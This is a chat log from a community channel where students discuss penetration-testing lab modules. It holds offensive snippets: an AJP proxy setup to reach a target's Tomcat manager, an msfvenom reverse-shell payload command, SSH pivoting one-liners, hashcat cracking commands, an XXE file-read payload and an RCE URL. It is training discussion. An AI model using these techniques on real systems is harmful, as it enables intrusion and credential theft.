#modules

1 messages ยท Page 232 of 1

brazen saffron
#

Here lol :

#

I have not the samething

cloud urchin
#

did you edit the configuration file

brazen saffron
#

I did?

#

Wait.

#

I just replaced the port.

cloud urchin
#

that's not in the instructions

#

you only modify the server block

brazen saffron
#

I have to add this manually?
upstream tomcats {
server <TARGET_SERVER>:8009;
keepalive 10;
}

cloud urchin
#

yes

brazen saffron
#

Ah ok.

#

I thought it was already there.

cloud urchin
#

you have to point it to the ajp port

#

you're basically using your own nginx server running tomcat with ajp, but ajp configured to reach out to the victim's "hidden" manager behind it

#

instead of your own

patent oak
#

Does anyone know if the Senior PT path is something we could be ready to take after CPTS?

brazen saffron
#

Like this?

cloud urchin
#

revert what other changes you made, but yes

#

and also make sure to add the location part

#

just like the section shows

brazen saffron
#

Ah yeah ok.

#

And how I restart?

cloud urchin
#

idk nginx restart probably

#

nginx -s stop, then just start it again

brazen saffron
#

Ouch :).

#

Fixed, thanks :).

cloud urchin
#

nice

brazen saffron
#

And what it does this vuln ? ๐Ÿค”

cloud urchin
#

i allows you to interact with the apache tomcat manager

brazen saffron
#

What ๐Ÿ‘๏ธ ,

soft cedar
patent oak
topaz sable
#

How to sort retired machines by user difficulty rating

#

Found it nvm

soft cedar
wary carbon
#

PASSWORD ATTACKS -----> Passwd, Shadow & Opasswd
"I'm not sure if Note.zip is helpful because I can't crack it. I also can't execute the command 'sudo cat /etc/shadow'; it says I don't have permission to view it. I don't know what to do. Can someone help me?"

analog hatch
#

For the skills assessment on Introduction to digital forensics, are we meant to just use the tools available on the target (not many) or install additional ones? As the target doesnt have internet access I wanted to check as the rest of the module teaches us about other tools

next bronze
gleaming marsh
#

question : Which kernel version is installed on the system? (Format: 1.22.3)
Output of uname -a :
Linux htb-8yvuz4jqmn 6.1.0-1parrot1-amd64 #1 SMP PREEMPT_DYNAMIC Parrot 6.1.15-1parrot1 (2023-04-25) x86_64 GNU/Linux
None of the 6.1.0-1 answer work

#

can't say screen

next bronze
#

ssh into the target

gleaming marsh
next bronze
#

click this

gleaming marsh
#

i'm in

next bronze
#

nope you didn't ssh in

gleaming marsh
#

i spawned the system and then open a terminal

next bronze
#

yes then you need to ssh into the target, pwnbox is not the target

gleaming marsh
#

ok

#

but i don't find the IP to connect*

next bronze
gleaming marsh
#

ok ty

wary carbon
topaz sable
#

Can I do identify hackthebox account with 2 discord account?

dim wolf
astral inlet
#

hi is this intended ??

||` Set-ExecutionPolicy Bypass -Scope Process

Execution Policy Change
The execution policy helps protect you from scripts that you do not trust. Changing the execution policy might expose
you to the security risks described in the about_Execution_Policies help topic at
https:/go.microsoft.com/fwlink/?LinkID=135170. Do you want to change the execution policy?
[Y] Yes [A] Yes to All [N] No [L] No to All [S] Suspend [?] Help (default is "N"): Y
Set-ExecutionPolicy : Windows PowerShell updated your execution policy successfully, but the setting is overridden by
a policy defined at a more specific scope. Due to the override, your shell will retain its current effective
execution policy of Unrestricted. Type "Get-ExecutionPolicy -List" to view your execution policy settings. For more
information please see "Get-Help Set-ExecutionPolicy".
At line:1 char:1

  • Set-ExecutionPolicy Bypass -Scope Process
  •   + CategoryInfo          : PermissionDenied: (:) [Set-ExecutionPolicy], SecurityException
      + FullyQualifiedErrorId : ExecutionPolicyOverride,Microsoft.PowerShell.Commands.SetExecutionPolicyCommand`||
    
    

https://academy.hackthebox.com/module/67/section/639

next bronze
#

just transfer the stuff out 4Head

#

there's sqlite in your kali/parrot

analog hatch
fickle bison
#

anybody help for this on CDSA Introduction to DF skill assessment

Determine the registry key used for persistence and enter it as your answer.

I got the exact registry key and saw the persistent executable but it doesn't accept my answer

dim wolf
fickle bison
#

got it! thanks man! they should've put an answer format or something lol..answer could be anything

patent oak
soft cedar
#

I am focusing more on network.

acoustic owl
topaz sable
acoustic owl
astral inlet
next bronze
astral inlet
#

hm ok

#

but it did the same the first time i used it

next bronze
#

yeah as in the machine spawned with the the SEP being unrestricted

astral inlet
#

ok understandable

#

thx ๐Ÿ™‚

pastel lava
#

anybody know how i can fix rdp its incredibly slow if its does connect and most of the time it doesnt. i am trying to to the AD enumeration and attacks module again the first time round i had no issues. I am using xfreerdp because i cant get rdesktop to connect it says invalid password even though ive copied it and also tried putting it in quotes and i tried remmina aswell but that doesnt connect at all

next tree
#

Im doing the starting point boxes, dancer to be specific, and im attempting to enumerate the smb share, and i am having problems

#

wonderiing if anyone can explain ?

#
smbclient '\\\\10.129.113.100'```
#
Password for [WORKGROUP\headrx]:
do_connect: Connection to  failed (Error NT_STATUS_NOT_FOUND)```
#
headrx@DESKTOP-ODAQPF6:~/htb/dancer$ smbclient -L '\\\\10.129.113.100'
do_connect: Connection to 10.129.113.100 failed (Error NT_STATUS_HOST_UNREACHABLE)```
#
headrx@DESKTOP-ODAQPF6:~/htb/dancer$ smbclient -L '\\10.129.113.100'
do_connect: Connection to 10.129.113.100 failed (Error NT_STATUS_HOST_UNREACHABLE)```
#
headrx@DESKTOP-ODAQPF6:~/htb/dancer$ smbclient '\\10.129.113.100'
Password for [WORKGROUP\headrx]:

\\10.129.113.100: Not enough '\' characters in service```
#

what gives ?

pastel lava
# pastel lava anybody know how i can fix rdp its incredibly slow if its does connect and most ...

xfreerdp /v:10.129.168.153 /u:htb-student /p:Academy_student_AD!
[14:09:17:390] [5469:5470] [WARN][com.freerdp.crypto] - Certificate verification failure 'self-signed certificate (18)' at stack position 0
[14:09:17:390] [5469:5470] [WARN][com.freerdp.crypto] - CN = ACADEMY-EA-MS01.INLANEFREIGHT.LOCAL
[14:09:26:417] [5469:5470] [ERROR][com.freerdp.core.connection] - Timeout waiting for activation
[14:09:26:419] [5469:5469] [ERROR][com.freerdp.core] - freerdp_abort_connect:freerdp_set_last_error_ex ERRCONNECT_CONNECT_CANCELLED [0x0002000B]

getting this error over and over can ping the machine just fine

deep bay
fathom pendant
devout thorn
pastel lava
fathom pendant
devout thorn
pastel lava
#

which section are u on? im doing LMMNR poisoning windows

devout thorn
devout thorn
fathom pendant
#

module name will generally be more helpful

#

and if pwnbox works but your own connection doesn't: it's likely your own connection

devout thorn
pastel lava
#

no pwn box dont work either for me

fathom pendant
#

"CPTS part"

#

CPTS is a path; not a "part"

devout thorn
pastel lava
#

im on ad module cpts lmmnr poisoning section

#

@devout thorn what errors do you get

fathom pendant
pastel lava
scenic bolt
#

is it possible to connect to academy modules through my own vm? i was able to connect to the vpn provided in the module but when i ping the spawned target theres no response

pastel lava
#

soon as i message them it will probably work again

devout thorn
#

Same errors as SKDY, but PwnBox is working, so I'll use it for now
Message sent to support, I'll wait for their feeedback

pastel lava
scenic bolt
#

okay, thanks

fathom pendant
pastel lava
#

ill try pwn box again now

scenic bolt
#

good to know thanks for that

fathom pendant
pastel lava
#

yeah done it

normal latch
pastel lava
pastel lava
runic hill
#

May I ask where I can submit security vulnerabilities for the hackthbox academy

inland shoal
#

this is taking awhile:/

inland shoal
pastel lava
runic hill
full nimbus
#

looks like the HTB infra is on its knees again...

#

vms are sloooooooow

inland shoal
pastel lava
#

2 people already said they having the same issues with windows machines

chrome osprey
full nimbus
#
64 bytes from 10.129.102.30: icmp_seq=12 ttl=127 time=3852 ms
64 bytes from 10.129.102.30: icmp_seq=13 ttl=127 time=2853 ms
64 bytes from 10.129.102.30: icmp_seq=14 ttl=127 time=1830 ms
64 bytes from 10.129.102.30: icmp_seq=15 ttl=127 time=810 ms
64 bytes from 10.129.102.30: icmp_seq=16 ttl=127 time=2114 ms
64 bytes from 10.129.102.30: icmp_seq=17 ttl=127 time=1115 ms
64 bytes from 10.129.102.30: icmp_seq=18 ttl=127 time=94.9 ms
64 bytes from 10.129.102.30: icmp_seq=19 ttl=127 time=1391 ms
64 bytes from 10.129.102.30: icmp_seq=20 ttl=127 time=396 ms
64 bytes from 10.129.102.30: icmp_seq=21 ttl=127 time=3819 ms
64 bytes from 10.129.102.30: icmp_seq=22 ttl=127 time=2825 ms
64 bytes from 10.129.102.30: icmp_seq=23 ttl=127 time=2964 ms
64 bytes from 10.129.102.30: icmp_seq=24 ttl=127 time=1963 ms
64 bytes from 10.129.102.30: icmp_seq=25 ttl=127 time=962 ms
64 bytes from 10.129.102.30: icmp_seq=26 ttl=127 time=23.6 m
``` ๐Ÿ˜„
fathom pendant
full nimbus
#

slow pings yes ๐Ÿ˜‰

astral inlet
#

anyone else in here has performance problems with rdp seesions ?

full nimbus
#

Folks, I'm doing the Windows Privesc Module, and happened many times that after adding my user into the local admin groups, I still can't open administrator folder. Any idea why ?

C:\Users\server_adm>net localgroup administrators
Alias name     administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
Domain Admins
Enterprise Admins
server_adm
The command completed successfully.


C:\Users\server_adm>whoami
inlanefreight\server_adm
next bronze
#

force gpupdate or relog

#

it takes a bit for local group changes to come into effect

silver iris
#

Hi guys,

dumb question about the "Dynamic Port Forwarding with SSH and SOCKS Tunneling" module.
I solved it with the dynamic port forwarding and rdp.
I was wondering if its also possible with SSH Local Port Forwarding. But i coulnt make it work.

I tried the following:
||ssh -L 1234:localhost:3389 ubuntu@10.129.216.126||

Then i tried:
||xfreerdp /v:127.0.0.1 /u:victor /p:pass@123 /port:1234||

But it didnt work. Any idea why?

mint otter
#

a question:
what is the name of the config file that has been created after 2020-03-03 and is smaller then 28k but larger then 25k.

I have typed in the console:
find / -type f -size +25k -size -28k -name *.conf -newermt 2020-03-03

all it comes up with is a load of permission denied files

full nimbus
full nimbus
#

1.66 is my local Kali annd 10.129 is the HTB boxc

next bronze
shut quest
mint otter
#

Linux fundamentals

shut quest
silver iris
mint otter
true dagger
#

hey guys i could do with a little help with the file transfers module the question asked me to upload a file called "upload_win.zip using the method of my choice & once uploaded RDP to the box unzip and run hasher upload_win.txt

so i setup FTP on my machine RDP into target machine and download the upload_win.zip file to the desktop using the SHELL but when i got to extract the file on the target machine it tells me

"windows cannot open the folder. the compressed (zipped) folder C:/Users/htb-student/Desktop/upload_win.zip is invalid

does anybody know why this is happening?

wary carbon
#

PASSWORD ATTACKS -----> Passwd, Shadow & Opasswd
I have obtained passwd.bak and shadow.bak files, but encountered issues during password cracking. Regardless of using mutated passwords or the original ones downloaded, I couldn't crack the hashes. Here are the commands I've tried:

  • hashcat -m 1800 -a 0 /tmp/unshadowed.hashes rockyou.txt -o /tmp/unshadowed.cracked
  • hashcat -m 1800 -a 0 /tmp/unshadowed.hashes password.txt
  • hashcat -m 1800 -a 0 /tmp/unshadowed.hashes password.list
  • hashcat -m 1800 -a 0 /tmp/unshadowed.hashes mut_password.list
silver iris
next bronze
shut quest
silver iris
full nimbus
#

My quick 1liners if that helps

#
# local port forwarding
# the target host 192.168.0.100 is running a service on port 8888
# and you want that service available on the localhost port 7777
# locahost can also be remote host
ssh -L 7777:localhost:8888 user@192.168.0.100

# remote port forwarding
# you are running a service on localhost port 9999 
# and you want that service available on the target host 192.168.0.100 port 12340

ssh -R 12340:localhost:9999 user@192.168.0.100

# Local proxy through remote host
# You want to route network traffic through a remote host target.host
# so you create a local socks proxy on port 12001 and configure the SOCKS5 settings to localhost:12001

ssh -C2qTnN -D 12001 user@target.host
# Theย **-N**ย flag prevents SSH from executing any remote commands, meaning we will only receive output related to our port forward.
#
# Use SSH from a remote host, and use this remote host as SOCKS proxy
confluence@confluence01:/opt/atlassian/confluence/bin$ ssh -N -D 0.0.0.0:9999 database_admin@10.4.50.215


# From remote host to my local machine, to forward to a machine behind remote machine
# See image below (1)
confluence@confluence01:/opt/atlassian/confluence/bin$ ssh -N -R 127.0.0.1:2345:10.4.50.215:5432 kali@192.168.118.4 


# Remote dynamic port forwarding: Remote hosts connects back to us, then we use local port as SOCKs proxy to reach device behind remote hosts (2)
confluence@confluence01:/opt/atlassian/confluence/bin$ ssh -N -R 9998 kali@192.168.118.4

# use SSH via a proxy
kali@kali:~$ ssh -o ProxyCommand='ncat --proxy-type socks5 --proxy 127.0.0.1:1080 %h %p' database_admin@10.4.50.215
shut quest
wary carbon
#

I'm not sure what went wrong with my operation. Could you please give me some guidance?

astral inlet
next bronze
#

oh yes that I agree

#

that section was a pain

next bronze
old vector
#

On Active Directory passwords module Iโ€™m at the last question input Jennifer Stapletons username:pass. So I copied NTDS.dis and system hive dumped hashes to file. Now have about 5 usernames and passes. However Jennifer stapletons password is not accepted at last question for being correct Iโ€™ve typed it and copy paste it. Case sensitive also

#

I Mrs I know hashcat isnโ€™t wrong about the password any ideas so I can move forward

#

Mean not Mrs

fathom pendant
#

are you usiing hashcat with sudo/as root, sometimes that breaks it

old vector
#

Ok so do without root

#

Iโ€™ll try that

#

No got the same pass for that hash

next bronze
#

what's the module and section

old vector
#

Passwords module Active Directory and ntds.dit

#

Iโ€™ll send you the hash and pass and see if it what it it if you like

next bronze
#

what's the first and the last character

old vector
#

9 0 for the hash W 8 for the pass

#

Im sorry 9 b

next bronze
#

that seems right, dm me the whole thing

old vector
#

Ok

snow ridge
toxic apex
#

i can give you a hint if you need via dm

snow ridge
next bronze
# old vector Ok

it's correct, yeah make sure there's no spaces and refresh the page

dreamy yew
#

Module: AD Enumeration & Attacks - Skills Assessment Part 1, Question: Kerberoast an account with the SPN MSSQLSvc/SQL01.inlanefreight.local:1433 and submit the account name as your answer. I have tried to retrieve all tickets using setspn.exe but I couldnt create a security token with the SPN given, and also** tools like Rubeus, Powerview could not be used**. I might need a nudge as to where to go next on this.

next bronze
#

those tools can definitely be used, also advise to get a better shell to make things easier

dreamy yew
hexed ravine
#

Hi guys ! I m a beginner on htb and i m stuck here with an RCE on url that works fine to navigate through the administrator and find the flag.txt but i dont know how to open it / transfer it to my attacker machine ... Does anyone knows the problem? (my rce command is ?&cd../../../../../../..&cd/Users/Administrator/Desktop&dir)

limber river
hexed ravine
#

no i m on htb academy on the module called "Attacking Common Applications - Skills Assessment I"

deep bay
#

is it "type flag.txt"?

hexed ravine
#

type command doesnt work even with %20 or +

limber river
hexed ravine
limber river
hexed ravine
#

yeah dir command works fine but woami does not work

limber river
#

not woami

hexed ravine
#

yeah i mean whoami does not work

limber river
#

try type+C:\Users\Administrator\Desktop\flag.txt

hexed ravine
#

it does not work

#

shows nothing

#

even with curl

limber river
hexed ravine
#

i ill try thx

#

i tried from web encoder online but maybe burp is more efficient

dreamy solar
#

Hello moan can you help me please, I must to send this request to receive new password for my administrators but I don't find why?

limber river
dreamy solar
#

how can I have a token admin?

hexed ravine
mystic loom
#

Hey guys, I've been doing "User Enumeration via Response Timing" from the whitebox attacks module and the whole goal is to enumerate a valid user based on time. The problem is that I've been trying this for so long and I still can't find a valid user. The wordlist in the hint provided is way too large. Any hints please?

limber river
coral flare
#

https://academy.hackthebox.com/module/147/section/1391

"Password Mutations" - "Create a mutated wordlist using the files in the ZIP file under "Resources" in the top right corner of this section. Use this wordlist to brute force the password for the user "sam". Once successful, log in with SSH and submit the contents of the flag.txt file as your answer."

The list is huge with ~94k lines and the bruteforce slow. Am I doing it right?

#

I can see that there are some other services but they don't really seem faster.

coral flare
#

Normally the academy stuff is very fast - so you are saying this one just takes a lot more time?

#

Nevermind I just cracked it.

#

Still so much slower than the other tasks, weird.

#

Thanks though!

limber river
dreamy solar
limber river
dreamy solar
#

... finally yes

#

^^" thanks

limber river
hexed ravine
astral inlet
#

echo '$text' | base64 -d

#

should do the same ๐Ÿ™‚

lunar zodiac
#

HELP Navigate to http://[Target IP]:8000, open the "Search & Reporting" application, and find through an SPL search against all data any suspicious loads of clr.dll that could indicate a C# injection/execute-assembly attack. Then, again through SPL searches, find if any of the suspicious processes that were returned in the first place were used to temporarily execute code. Enter its name as your answer. Answer format: _.exe my code so far is this sourcetype="WinEventLog:Sysmon" ImageLoaded="clr.dll" Image!="C:\Windows\System32" i dont know if i am on the right track any help will be appreciated

trim bronze
#

Hello there good day, I have a question.

The things taught by the academy.

Are they principle based or subject based.

That is, concerning web penetration for instance, is one going to be taught certain principles of attacking any web system, instead of the actual attack way, emphasis on principles.

Something standing the test of time as long as it has to do with web systems.

Adapting to the dynamic nature of web systems

#

I can elaborate on this to provide more understanding for answering my question. I believe it is clear though.

fathom pendant
#

there are some principle stuff (the tier0 and 1 modules) then subject stuff (tier2+)

#

but a lot of it revolves around base principles

trim bronze
#

Learning process as well.

fathom pendant
#

yes. but there's also just broad topic modules

#

that dive into the principle of the attack

#

overall the modules gear you for success

trim bronze
#

Thank you.

loud dagger
#

why did htb tell me the wrong way to create an smb share and also the wrong way to connect to an smb share in Windows Fundamentals

fathom pendant
#

?

#

don't they go through the GUI way of creating a share in Windows?

loud dagger
#

yeah and it doesn't work

#

smbclient -L doesn't work and it doesn't mention anything about slashes either

gray merlin
#

I would take it personal if I were you.

loud dagger
#

you would take it personally?

gray merlin
#

Yes.

loud dagger
#

i said -L doesn't work

fathom pendant
#

it's usually smbclient -L \\\\ip\\

#

or smbclient -L //ip/

#

since \ is an escape character, you need to double up if you're using it for this purpose

#

however smbclient works with both directional slashes

loud dagger
#

yeah i figured that one out through some forums

fathom pendant
#

// or \\\\

loud dagger
#

i ended up using forward slashes

#

it's just weird that the module doesn't mention that

fathom pendant
#

ยฏ_(ใƒ„)_/ยฏ

#

i mean reading the man page of a tool helps or it's shown in the example

loud dagger
#

never mind it was right about the way to create a share

#

so i have no idea what went wrong the first time i tried it

jagged zenith
#

I cannot connect to the linux privilege esc lab. The lab is running, but I cannot connect to it via ssh.

#

I use pwnbox or vpn but nothing

jagged zenith
#

Environment enumeration

jagged zenith
wanton idol
jagged zenith
#

Host work and port work but i can't connect ssh

wanton idol
#

i just tried it rn and i managed to connect via ssh

#

maybe restart your machine and refresh the page

jagged zenith
#

I restarted the device more than 10 times. I tried to connect to pwnbox, but the same problem

jagged zenith
echo forge
#

Help please > Modern Web Exploitation Techniques - Skill Assessment - Last Question. I inserted my IP into the webmin interface, ran the dnsrebinder, but it does not give me the flag. Is it a bug or something that I'm missing?

cloud urchin
#

you're missing something, not a bug

jagged zenith
#

I restarted the device more than 10 times. I tried to connect to pwnbox, but the same problem

cloud urchin
#

what password are you using

sleek moss
#

hi guys im on Skills Assessment - File Upload Attacks

You are contracted to perform a penetration test for a company's e-commerce web application. The web application is in its early stages, so you will only be testing any file upload forms you can find.

Try to utilize what you learned in this module to understand how the upload form works and how to bypass various validations in place (if any) to gain remote code execution on the back-end server. but i cant find the uploaded file area Content-Disposition: form-data; name="uploadFile"; filename="sc.phar.svg"
Content-Type: image/svg+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/contact/submit.php"> ]>
<svg>&xxe;</svg> but no work it works for index.php tho

cloud urchin
#

if your payload works and you didn't find the info on the pages you checked, you should check other pages

sleek moss
#

i did check otherp ages

cloud urchin
#

which other pages did you check

sleek moss
#

theres only two pages

#

main page and the upload page

cloud urchin
#

so what pages are those

sleek moss
#

php

cloud urchin
#

you have two pages called "php"?

#

that doesn't sound right, the endpoints aren't going to be named the same

#

you should enumerate for more pages to read

sleek moss
#

wdym

#

its index.php and /contact/submit.php and /contact/upload.php

cloud urchin
#

you need to analyze the upload page to understand where it's being uploaded to

echo forge
cloud urchin
echo forge
cloud urchin
#

you can see from your rebinder screenshot it's only resovling as 127.0.0.1, hence the error on the page saying private IP detected

#

it is not recognizing it as 1.1.1.1, so something is off there

echo forge
cloud urchin
#

if you're sure the command is correct, the previous step required for that to work would be setting up a name server, so i would probably check to ensure that's setup correctly as well

echo forge
cloud urchin
#

like i said i'd double check it all. if it's setup correctly it'll work. your screenshot shows it's not working, so that's what i would personally look into.

echo forge
astral inlet
next tree
#

Im attempting to enumerate a box, have nmap'd, gotten a port 5000 opening, attempted to open it as a webpage at that address, but no bueno, cant find it... this is for Headless..

#

i can curl the page and get it, but not via a web browser..

#

any ideas ?

bleak jasper
#

Anyone do "Attacking Common Services - Medium"? I found the nonstandard port starting with 3 but hydra isn't cracking with with the resource user/pass lists. Is there another list I should be using? Others have suggested using nmap -sC to get more information but I am not getting any additional results from that. It is an FTP service that does not allow Anonymous login

cloud urchin
bleak jasper
#

There is another FTP service available. From some of the forums it seemed like the port starting 3 was the initial foothold

cloud urchin
#

ohh im sorry i thought you were on another section

steel snow
#

hey guys

#

excuse me, may someone answer me please

#

anyone knows any service similar to HTB that teaches AI rather than cyber security?

fathom pendant
#

You can probably google AI/ML courses

steel snow
#

right :) thank you!

#

I was just thinking about that it might be fun website like HTB and so on

solid moth
#

Guys I am stuck at Protected Files module in Password attacks , The question is asking for Kira's password which I believe I got in previous modules but the problem is I had a long break and I am continuing the modules , Can anyone guide me in which module I can find Kira's Password?

rustic sage
# steel snow I was just thinking about that it might be fun website like HTB and so on

https://www.datacamp.com/
https://brilliant.org/
https://www.codeavail.com/blog/ai-projects-for-students/

or if you like udemy you can get this course it seems pretty popular and highly reviewed...
https://www.udemy.com/course/machine-learning-and-ai-with-hands-on-projects/

fair warning you can get udemy for free from your local library if they've partnered up with them

Brilliant - Build quantitative skills in math, science, and computer science
with hands-on, interactive lessons.

Discover the world of 199+ AI projects for students, from chatbots to autonomous robots. Start your journey into AI with these exciting projects.

fathom pendant
cloud urchin
rough comet
#

hi folks, I am on the pivoting module and have a conceptual question / doubt

#

when doing remote / reverse port forwarding... do I still need socks? no , right?

#

like... let's say my pivot is Linux and my target in the internal network is Windows. I want to capture a reverse shell on my Kali machine.

#

No need to edit proxychains.conf, correct?

fathom pendant
rough comet
#

what do you mean with "some"

fathom pendant
#

But it just depends on the tool

fathom pendant
rough comet
#

well, if I setup nc on Kali and I just want to "grab" the reverse shell

#

do I need socks? yes or not

fathom pendant
rough comet
#

'cause I do not see that mentioned on that lesson

fathom pendant
#

You'd need some pivot/proxy to forward traffic to your system

rough comet
fathom pendant
rough comet
#

so it is a correct assumption, we don't need it during a remote / reverse port fwd scenario?

fathom pendant
#

With -R you are creating a reverse proxy, but if you're trying to catch a shell from the third machine, you need to have it call back to the second and then the second forwards it to you

rough comet
#

I understand all that

fathom pendant
rough comet
#

what tool are you referring? we are using ssh

fathom pendant
#

Most tools that refer to using proxychains will require socks

rough comet
#

and xfreerdp

#

ssh that is being run on Kali with -R ... xfreerdp.....what tool are you referring to? there is no tool in that scenario

fathom pendant
#

sigh if the example commands don't use proxychains, you don't use proxychains

#

Xfreerdp is a tool, ssh is a tool

rough comet
#

This lesson

rough comet
#

I assume

#

on this particular scenario, using ssh and xfreerdp...

fathom pendant
#

What this is showing, if you're actually paying attention, is that the -R in this case is the bridge

rough comet
fathom pendant
#

Just take notes of the ones from this module that do

#

There's no grand list that has all this info

rough comet
#

ok

fathom pendant
#

If it does, it does, if it doesn't-- it doesn't

rough comet
#

ok

fathom pendant
#

It's just that simple

rough comet
#

I was just trying to recreate that but I couldn't

#

it seems there is a missing step

#

I need to use socks to rdp and run the .EXE

#

that's not shown

fathom pendant
#

No you don't

rough comet
#

If I am not logged in windows?

#

I need to run it, to invoke the reverse shell

fathom pendant
#

I believe you might be able to log into the second host with ssh from the Ubuntu host

rough comet
#

ubuntu to windows via ssh?

#

that's assuming windows uses ssh

fathom pendant
#

Otherwise, gain rdp access with another method

fathom pendant
rough comet
#

no, but very uncommon

#

the two exercises do not ask that, but I was curious and tried to mimic the whole scenario

wanton idol
rough comet
#

that's what I am saying but then I need socks

fathom pendant
#

Yes, which isn't illegal to use

rough comet
#

proxychains xfreerdp blah blah

wanton idol
#

then use socks?

fathom pendant
#

Like. This whole scenario is built around you already having some form of access to the internal network

wanton idol
#

what are u trying to do? not use socks?

rough comet
#

ok, I did something wrong, maybe the payload.... I use a regular msfvenom payload not http one for meterpreter

rough comet
fathom pendant
#

sigh

rough comet
#

relax, just trying to learn

fathom pendant
#

You're trying to overcomplicate it

#

This section and the previous one go hand in hand

rough comet
#

did not want to use multihandler

fathom pendant
#

Also you can open multiple ssh sessions to a target at the same time btw

wanton idol
#

u would need to make the traffic from the pivot host (ubuntu) transfer to your local hosts from windows

rough comet
#

msfvenom -p windows/shell_reverse_tcp LHOST=172.16.5.129 LPORT=8080 -f exe > backupscript.exe

#

I used that

fathom pendant
wanton idol
#

wouldnt lhost be your local box? im not on my laptop

rough comet
#

deviate from its original purpose

#

avoiding multihandler

fathom pendant
rough comet
#

I have no issue with the other way

fathom pendant
#

In this module the lhost is the jumphost

rough comet
#

I just want to understand why it did not work

wanton idol
#

ohh got it

rough comet
fathom pendant
rough comet
#

ok

#

well, to be honest, ligolo makes this piece of cake

fathom pendant
#

Also fwiw idt windows/reverse_shell_tcp is even a payload

rough comet
#

but I just wanted to recreate the whole exercise, without multihandler

#

I guess the exercise was designed to work "as is"

fathom pendant
#

You can definitely tweak it for you, if you set the payload right

rough comet
#

ok

fathom pendant
rough comet
#

I will play around with it tomorrow

fathom pendant
#

It's not windows/shell_reverse_tcp

#

It's windows/shell/reverse_tcp

#

Which is likely why your payload doesn't work

rough comet
#

Thanks for the extra patience , lol

fathom pendant
#

All I did was google msfvenom payloads

rough comet
#

I do not like to move on and "accept" stuff just because

fathom pendant
rough comet
#

Yeah, I have a full list on my notes, is late and I am tired, missed that being staged

rough comet
#

asking questions is not being dumb

gilded fulcrum
#

sorry to pivot the current subject. i am on password attacks lab - medium. I obtained a zip folder which had encrypted .docx file inside Iwas able to convert the has and get the password for the .docx. only issue is i have no way of reading the file in the first place. I tried using docx2txt and libreoffice. for some reason Libre causes an error stating javaldx may not work properly and just shuts down.

rough comet
#

that was rude

fathom pendant
# rough comet excuse me?

It's not a personal dig, its literally saving the feeling of being dumb for not realizing you made a simple syntax error

#

Which I've done multiple times myself

fathom pendant
# rough comet that was rude

Sorry that you took it as rude. Didn't mean it that way. Maybe you should get some rest if something that small bugged you.

rough comet
#

I am certainly calling off the night, but that is not something "small"

#

I do not call people dumb

#

have a good one

fathom pendant
#

I didn't call you dumb, just the situation of being dumb with syntax errors dude

#

Happens to literally everyone

wanton idol
#

he just still new to know that it happens to everyone about syntax xd

fathom pendant
rough comet
#

sudo allows you to not perform the 3way handshake...which is faster but requires admin privs.

#

when enumerating, it is always recommended to use -sV ... and also, -sC ... so you can get as much info as you can from a given service, assuming the ports are open

#

People have their own preference when using nmap.... I personally prefer to check for open ports (with nothing else) then I use -sV on those open ports. Hope that helps.

fresh vector
#

for the HTB Academy Module: Active Directory LDAP -Skills assessment, has anyone ran into the issue of {'desc': "Can't contact LDAP server", 'errno': 107, 'info': 'Transport endpoint is not connected'}

#

sudo gives you access to the raw sockets

fresh vector
barren crystal
#

any chance of having a regex added for when i verify the flag? i keep leaving spaces in then thinking i've got the wrong flag

cloud urchin
gilded fulcrum
#

so I obtained the password for id_rsa. How do i know what user it belongs to? i already soled the module which it belongs to root, but that was after someone spoiled the answer for me.

#

if i was on a real engagement am i just blindly testing id_rsa with "root" as the user

#

when i ssh

#

what happens if i found numerous users and don't know what user the key belongs to?

#

FYI the key was encrypted, so i dont see anything in plain txt

cloud urchin
#

by itself the key doesn't contain any info about the owner or the accounts it can access. only indrect ways like checking the accompanying public key or authorized_keys file, looking for clues in the filename or path, checking ssh agent or ssh config files, sometimes there may be key metadata

#

or just bruteforce it if you have a list of users

remote latch
#

fuck around and find out- best tip ever

dim kettle
remote latch
dim kettle
#

what's in academy?

remote latch
remote latch
#

and for nmap, thats like the bare start for many people and i guarantee u wont understand 99% of the info it gives you until you progress further

#

like vulnerability discovery, weak points, insecure services etc

#

so its alr to get fucked at first

dim kettle
#

i'm not so worried , obviously on the very easy challenges and i have plenty resources to look at but i know i will get to where i want to be in a couple months time

remote latch
#

the module is just yapping about random stuff but its very nice

fathom pendant
remote latch
#

like ik its not the right channel

fathom pendant
#

People that want to keep this channel on topic

remote latch
remote latch
fathom pendant
#

and it's genuinely the better place to search for help with starting-point machines ยฏ_(ใƒ„)_/ยฏ

fathom pendant
#

As common questions people have had have been asked and answered

fathom pendant
remote latch
#

fuck around and find out?

#

never done it before?

fathom pendant
#

I have, just no idea what it means in relation to the statement you replied to

remote latch
fathom pendant
#

I'm not being triggered?

#

I'm stating a fact: wrong channel, and it's fairly common that people just click through and not even know there's more to the server

#

Some people know and just refuse to link their account

#

ยฏ_(ใƒ„)_/ยฏ

#

But keeping this channel on topic for modules allows others that need help not get drowned out by unrelated nonsense

#

Like this argument?

remote latch
# fathom pendant Like this argument?

thats fire argument ngl๐Ÿ”ฅ but i personally prefer to answer people at place instead of refering them to the channel they are 'supposed' to ask in

fathom pendant
#

whatever boats your float dude ยฏ_(ใƒ„)_/ยฏ

next bronze
#

then you're doing it wrong, right channel for the right things

remote latch
fathom pendant
#

I wasn't calling anyone out for helping them

remote latch
fathom pendant
#

Just informing that there's an apt channel for it

#

Sorry for trying to be more helpful to them. It also prevents future times of asking in the wrong channel and then being redirected again

#

If I was "triggered" over it, I wouldn't have pointed them in any direction

remote latch
#

but alr

fathom pendant
#

This reads as confrontational

remote latch
fathom pendant
#

ยฏ_(ใƒ„)_/ยฏ

#

Later dude, have the day you deserve

remote latch
#

ไนโ |โ ย โ ๏ฝฅโ ย โ ใ€ฐโ ย โ ๏ฝฅโ ย โ |โ ใ„

remote latch
fathom pendant
#

Whatever the day may bring

remote latch
lavish mango
#

Okay. Enough.

faint monolith
#

Seeking help for WINDOWS ATTACKS & DEFENSE : Kerberos Constrained Delegation
Question: Use the techniques shown in this section to gain access to the DC1 domain controller and submit the contents of the flag.txt file.
My issue: I've RDPed into the target system and ran the powerview.ps1 script. By right I should have Get-NetUser cmdlet available at this stage. However when trying to run it, powershell keeps telling me the command is not found

next bronze
#

you need to import powerview instead of just running it

faint monolith
#

ah Thanks. missed that out in my notes

lavish mango
#

